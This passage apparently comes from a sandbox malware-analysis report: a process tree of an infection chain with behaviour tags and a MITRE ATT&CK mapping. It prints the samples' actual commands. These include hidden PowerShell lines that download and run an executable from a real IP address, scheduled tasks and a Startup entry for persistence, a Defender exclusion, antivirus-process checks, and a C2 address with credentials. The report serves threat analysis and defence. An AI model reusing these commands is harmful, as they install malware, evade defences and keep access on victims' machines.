        Scheduled Task/Job: Scheduled Task
        
        PID:6432
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\XBbrseWtr.hta
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:6336
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'XPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE
        
        "C:\Users\Admin\AppData\Local\TempXPZ2LZYY2PI2JE50ZXDPAQVLCUUHYAZS.EXE"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:6952
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10167650121\am_no.cmd" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6804
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:6864
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:7128
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:7140
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:7316
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7272
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:7508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7536
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SJgwcmaYhU9" /tr "mshta \"C:\Temp\rXqVUsijI.hta\"" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:7696
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\rXqVUsijI.hta"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:7720
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:7976
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5712
    - - C:\Users\Admin\AppData\Local\Temp\10167660101\e9ff01b5c1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167660101\e9ff01b5c1.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:6344
    - - C:\Users\Admin\AppData\Local\Temp\10167670101\071d97c0f0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167670101\071d97c0f0.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4196
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:7320
    - - C:\Users\Admin\AppData\Local\Temp\10167680101\7ef1418e3a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167680101\7ef1418e3a.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5416
    - - C:\Users\Admin\AppData\Local\Temp\10167690101\3a14972bb4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167690101\3a14972bb4.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5944
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:4396
    - - C:\Users\Admin\AppData\Local\Temp\10167700101\7d014442c3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167700101\7d014442c3.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:3164
      - C:\Users\Admin\AppData\Local\Temp\10167700101\7d014442c3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167700101\7d014442c3.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:7512
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3164 -s 960
        6⤵
        Program crash
        
        PID:7644
    - - C:\Users\Admin\AppData\Local\Temp\10167710101\OGVK2io.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167710101\OGVK2io.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of AdjustPrivilegeToken
        
        PID:6060
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\S0gQ0bV3\$77Anubis.exe""
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8136
    - - C:\Users\Admin\AppData\Local\Temp\10167720101\0uzaP1a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167720101\0uzaP1a.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1312
      - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
        6⤵
        Blocklisted process makes network request
        Downloads MZ/PE file
        Checks computer location settings
        
        PID:7460
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\B583D897E062783CF9E83000A4D683C6\71AA0C80E01A795775FA4FFE9031A16F.vbe" /f /rl highest
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5980
        
        C:\Windows\System32\taskkill.exe
        
        "C:\Windows\System32\taskkill.exe" /f /pid 2348 /t
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:8048
        
        C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
        
        "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
        7⤵
        Executes dropped EXE
        
        PID:6276
    - - C:\Users\Admin\AppData\Local\Temp\10167730101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167730101\P2SXMuh.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:7716
      - C:\Users\Admin\AppData\Local\Temp\10167730101\P2SXMuh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167730101\P2SXMuh.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6132
    - - C:\Users\Admin\AppData\Local\Temp\10167740101\iZ73hNr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167740101\iZ73hNr.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:6372
      - C:\Users\Admin\AppData\Local\Temp\10167740101\iZ73hNr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167740101\iZ73hNr.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6472
    - - C:\Users\Admin\AppData\Local\Temp\10167750101\zY9sqWs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167750101\zY9sqWs.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6748
      - C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\845cfbab99\Gxtuum.exe"
        6⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\10000700261\zero.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\10000700261\zero\'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:6532
        
        C:\Users\Admin\AppData\Local\Temp\10000700261\zero\zero.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000700261\zero\zero.exe"
        7⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:7208
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7424
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        9⤵
        
        PID:7456
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        9⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4476
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        9⤵
        
        PID:7480
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7208 -s 2512
        8⤵
        Program crash
        
        PID:7508
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
        8⤵
        
        PID:6844
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        9⤵
        
        PID:7796
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        9⤵
        
        PID:8028
        
        C:\Users\Admin\AppData\Local\Temp\10000720101\firefox.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10000720101\firefox.exe"
        7⤵
        
        PID:6464
    - - C:\Users\Admin\AppData\Local\Temp\10167760101\FvbuInU.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167760101\FvbuInU.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4124
    - - C:\Users\Admin\AppData\Local\Temp\10167770101\v6Oqdnc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167770101\v6Oqdnc.exe"
        5⤵
        
        PID:5876
    - - C:\Users\Admin\AppData\Local\Temp\10167780101\HmngBpR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167780101\HmngBpR.exe"
        5⤵
        
        PID:6064
      - C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
        
        C:\Users\Admin\AppData\Local\Temp\archivebrowser_GD\SplashWin.exe
        6⤵
        
        PID:4084
        
        C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
        
        C:\Users\Admin\AppData\Roaming\archivebrowser_GD\SplashWin.exe
        7⤵
        
        PID:5348
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        8⤵
        
        PID:6156
    - - C:\Users\Admin\AppData\Local\Temp\10167790101\ADFoyxP.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167790101\ADFoyxP.exe"
        5⤵
        
        PID:6240
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c expand Go.pub Go.pub.bat & Go.pub.bat
        6⤵
        
        PID:2192
        
        C:\Windows\SysWOW64\expand.exe
        
        expand Go.pub Go.pub.bat
        7⤵
        
        PID:6596
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:2200
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        
        PID:6984
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:2156
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "bdservicehost AvastUI AVGUI nsWscSvc ekrn SophosHealth"
        7⤵
        
        PID:3624
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 353090
        7⤵
        
        PID:5896
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Really.pub
        7⤵
        
        PID:5132
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "posted" Good
        7⤵
        
        PID:3640
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 353090\Seat.com + Pf + Somewhere + Volumes + Commission + Lane + Hit + Strong + Copied + Wearing + Acquire 353090\Seat.com
        7⤵
        
        PID:6680
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Maintains.pub + ..\Legislation.pub + ..\Blood.pub + ..\Document.pub + ..\Breaks.pub + ..\Both.pub + ..\Explicitly.pub + ..\Governor.pub + ..\Bull.pub + ..\Comparison.pub + ..\Performing.pub + ..\Gate.pub + ..\Republican.pub + ..\Reverse.pub + ..\Thousand.pub + ..\Apartments.pub + ..\Swingers.pub + ..\Urban.pub + ..\Robert.pub + ..\Regulation.pub + ..\Confusion.pub + ..\Listening.pub + ..\Generating.pub + ..\Argentina.pub + ..\Amenities.pub + ..\Vacation.pub + ..\Vampire.pub + ..\Trademarks.pub + ..\Distinguished.pub + ..\Silly.pub + ..\Hell.pub + ..\Worcester.pub + ..\Concept.pub + ..\Enlarge.pub + ..\Preference.pub + ..\Poem.pub m
        7⤵
        
        PID:7492
        
        C:\Users\Admin\AppData\Local\Temp\353090\Seat.com
        
        Seat.com m
        7⤵
        
        PID:1420
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:3464
    - - C:\Users\Admin\AppData\Local\Temp\10167800101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167800101\mAtJWNv.exe"
        5⤵
        
        PID:2168
      - C:\Users\Admin\AppData\Local\Temp\10167800101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10167800101\mAtJWNv.exe"
        6⤵
        
        PID:5552
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2168 -s 948
        6⤵
        Program crash
        
        PID:7600
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2A6614.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2A6614.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Downloads MZ/PE file
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Users\Admin\AppData\Local\Temp\E5VXU3FOHGS0A1UVTR5FNBGBGI.exe
      "C:\Users\Admin\AppData\Local\Temp\E5VXU3FOHGS0A1UVTR5FNBGBGI.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2224
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3f55g.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\3f55g.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3620

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3164 -ip 3164
1⤵
PID:7624

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 7208 -ip 7208
1⤵
PID:7544

C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "Coast" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js'" /sc minute /mo 5 /F
1⤵
PID:7236
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /create /tn "Coast" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js'" /sc minute /mo 5 /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5736

C:\Windows\SysWOW64\cmd.exe
cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url" & echo URL="C:\Users\Admin\AppData\Local\TradeSecure Innovations\TradeHub.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TradeHub.url" & exit
1⤵
PID:4980

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2168 -ip 2168
1⤵
PID:5712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion